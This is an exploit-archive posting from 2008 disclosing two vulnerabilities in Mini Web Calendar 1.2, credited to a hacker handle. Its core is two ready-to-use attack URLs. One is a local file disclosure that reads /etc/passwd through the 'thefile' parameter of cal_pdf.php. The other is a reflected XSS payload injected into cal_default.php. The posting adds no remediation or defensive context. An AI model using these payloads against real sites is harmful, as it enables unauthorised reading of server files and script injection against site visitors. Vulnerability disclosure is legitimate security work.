[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mini Web Calendar 1.2 (File Disclosure/XSS) Multiple Vulnerabilities
# Published : 2008-11-07
# Author : ahmadbady
# Previous Title : E-topbiz Online Store 1 (cat_id) SQL Injection Vulnerability
# Next Title : E-topbiz Number Links 1 (id) Remote SQL Injection Vulnerability
************************(XSS / FD Vulnerability)**************
script:Mini Web Calendar, ver. 1.2
************************************************************************************************************
download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94
************************************************************************************************************
......................................................................................
local file xpl:
http://www.site.com/mwcal/php/cal_pdf.php?thefile=/etc/passwd
xss xpl:
http://www.site.com/mwcal/php/cal_default.php/>'><ScRiPt>alert(0)</ScRiPt>
***************************************************
***************************************************
Author: ahmadbady from http://www.deltahacking.net
my mail: kivi_hacker666@yahoo.com
***************************************************
# www.Syue.com [2008-11-07]